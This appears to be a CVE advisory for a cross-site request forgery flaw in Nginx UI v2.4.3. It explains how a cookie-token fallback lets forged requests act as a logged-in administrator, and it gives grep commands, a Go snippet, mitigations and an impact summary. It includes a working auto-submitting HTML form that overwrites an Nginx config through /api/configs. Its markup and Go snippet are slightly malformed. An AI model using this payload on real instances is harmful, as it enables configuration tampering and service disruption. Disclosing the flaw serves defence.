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The vulnerability stems from a trust-boundary failure between browser-managed cookies and API bearer-token authentication within the Nginx-UI application architecture. Specifically, the front end stores the authentication JSON Web Token inside a client-side browser cookie named token whenever user session data updates. When management and configuration requests reach the back end, the AuthRequired middleware executes a credential resolution function that checks standard authorization headers and query parameters before falling back to extracting the token directly from c.Cookie(“token”). Because major administrative routes and management modules lack universal cross-site request forgery protection mechanisms, such as synchronization tokens or strict Origin and Referer header validations, an external web page can trigger state-changing requests against the victim instance. When a logged-in administrator visits an attacker-controlled website, the victim’s browser automatically attaches the authentication cookie to cross-site requests without requiring any response read access. The back end successfully authenticates the incoming request using the cookie fallback mechanism and proceeds to execute high-privilege operations. This flaw transforms what should be restricted administrative interactions into easily reproducible cross-site request forgery vectors capable of modifying core system configurations and triggering service reloads.
DailyCVE Form:
Platform: Nginx UI
Version: v2.4.3
Vulnerability: Cross-Site Request Forgery
Severity: Critical
date: October 9, 2026
Prediction: November 2026
What Undercode Say:
To analyze and verify the cookie fallback behavior and test the endpoint handling in a local environment, inspect the relevant middleware and router source code files using standard Linux commands and grep patterns:
grep -rn "Cookie(\"token\")" internal/middleware/ grep -rn "AuthRequired" router/routers.go cat api/config/add.go
Review the core token extraction implementation in Go:
func getToken(c gin.Context) (token string) {
if token = c.GetHeader("Authorization"); token != "" {
return
}
if token, _ = c.Cookie("token"); token != "" {
return token
}
return ""
}
Exploit: (Educational Purposes!)
Prerequisites require an active administrator session with an unexpired token cookie present in the browser storage while visiting an untrusted external origin.
Construct an automated proof-of-concept HTML form payload designed to submit state-changing parameters to the vulnerable configuration endpoint:
<!DOCTYPE html>
<html>
<head>
<>CSRF Exploit Proof of Concept</>
</head>
<body>
<form id="csrfForm" action="http://localhost:9000/api/configs" method="POST">
<input type="hidden" name="base_dir" value="/etc/nginx" />
<input type="hidden" name="name" value="default.conf" />
<input type="hidden" name="content" value="server { listen 80; }" />
<input type="hidden" name="overwrite" value="true" />
</form>
<script>
document.getElementById('csrfForm').submit();
</script>
</body>
</html>
Protection: from this CVE
Administrators must upgrade Nginx-UI to patched versions where cookie-based authentication fallbacks are disabled for state-changing endpoints, or where robust anti-CSRF tokens and strict Origin header validation checks are enforced across all management route groups. Additionally, ensure that administrative sessions utilize secure HttpOnly, SameSite=Strict attribute flags on session tokens, and deploy comprehensive multi-factor authentication requirements such as WebAuthn passkeys or OTP to prevent unauthorized action execution even if session context is leveraged across origins.
Impact:
An external remote attacker can successfully induce authenticated administrators to perform state-changing administrative operations without their knowledge or explicit consent. This leads directly to unauthorized creation or modification of core Nginx server configurations, forced service reloads or restarts, modification of global application settings, and execution of backup-related actions. Depending on the server deployment structure and underlying file permissions, successful exploitation can facilitate traffic redirection, reverse proxy tampering, denial of service conditions, and severe internal network infrastructure compromise.
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Sources:
Reported By: github.com
Extra Source Hub:
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